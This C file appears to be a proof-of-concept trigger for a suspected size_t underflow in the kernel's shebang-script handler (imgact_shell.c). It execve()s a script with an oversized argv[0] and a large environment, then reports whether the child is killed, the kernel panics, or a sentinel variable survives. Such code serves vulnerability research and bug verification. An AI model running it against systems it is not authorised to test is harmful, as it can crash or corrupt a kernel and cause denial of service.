/*
 * DF-0243 trigger2 -- ENHANCED to stress the bcopy() at imgact_shell.c:123-124.
 *
 * The original trigger passed envp={NULL}, so endp == begin_argv + length and
 * the bcopy's count `endp - (begin_argv + length)` was 0 -- the env-shift path
 * was never actually exercised. This version passes a LARGE environment so the
 * bcopy must shift real bytes left by (length - offset) when offset < length.
 *
 * If the size_t underflow corrupts the post-bcopy pointer adjustments (or the
 * bcopy itself goes OOB), we expect a panic / corruption. If modular
 * arithmetic saves the pointers, the script runs /bin/sh with the FULL
 * environment preserved and prints DF0243_ENV_OK.
 *
 * Usage: ./trigger2 [argv0_len] [nenv] [envlen]
 *   argv0_len  length of argv[0] string (default 256 -> offset<length branch)
 *   nenv       number of env vars to pass (default 200)
 *   envlen     length of each env value (default 1024)
 */
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>

#define SCRIPT_PATH "/tmp/df0243_s2"
#define MARKER_ENV  "DF0243_SENTINEL"
#define MARKER_VAL  "CANARY-7B3F"

int main(int argc, char **argv)
{
    size_t alen = 256, nenv = 200, envlen = 1024;
    if (argc > 1) alen  = (size_t)strtoul(argv[1], NULL, 10);
    if (argc > 2) nenv  = (size_t)strtoul(argv[2], NULL, 10);
    if (argc > 3) envlen= (size_t)strtoul(argv[3], NULL, 10);
    if (alen < 1)  alen = 1;

    char *ao = malloc(alen);
    if (!ao) { perror("malloc argv0"); return 2; }
    memset(ao, 'A', alen - 1);
    ao[alen - 1] = '\0';

    /* Build a large environment. */
    char **envp = malloc((nenv + 2) * sizeof(char *));
    if (!envp) { perror("malloc envp"); return 2; }
    size_t i;
    char buf[256];
    for (i = 0; i < nenv; i++) {
        snprintf(buf, sizeof(buf), "E%05zu=", i);
        size_t pref = strlen(buf);
        char *e = malloc(pref + envlen + 1);
        if (!e) { perror("malloc env"); return 2; }
        memcpy(e, buf, pref);
        memset(e + pref, 'E', envlen);
        e[pref + envlen] = '\0';
        envp[i] = e;
    }
    /* a known sentinel that the script must see intact post-bcopy */
    char sent[64];
    snprintf(sent, sizeof(sent), "%s=%s", MARKER_ENV, MARKER_VAL);
    envp[nenv] = strdup(sent);
    envp[nenv + 1] = NULL;

    pid_t pid = fork();
    if (pid < 0) { perror("fork"); return 2; }
    if (pid == 0) {
        char *cargv[] = { ao, NULL };
        execve(SCRIPT_PATH, cargv, envp);
        _exit(127);
    }

    int status = 0;
    if (waitpid(pid, &status, 0) < 0) { perror("waitpid"); return 2; }
    if (WIFSIGNALED(status)) {
        printf("DF0243_CHILD_KILLED signal=%d (%s)\n",
               WTERMSIG(status), strsignal(WTERMSIG(status)));
        return 3;
    }
    int code = WIFEXITED(status) ? WEXITSTATUS(status) : -1;
    printf("DF0243_CHILD_EXIT code=%d (0=script ran with env intact)\n", code);
    if (code == 0)
        printf("DF0243_NO_PANIC: argv0=%zu nenv=%zu envlen=%zu -- bcopy+underflow harmless\n",
               alen, nenv, envlen);
    return 0;
}
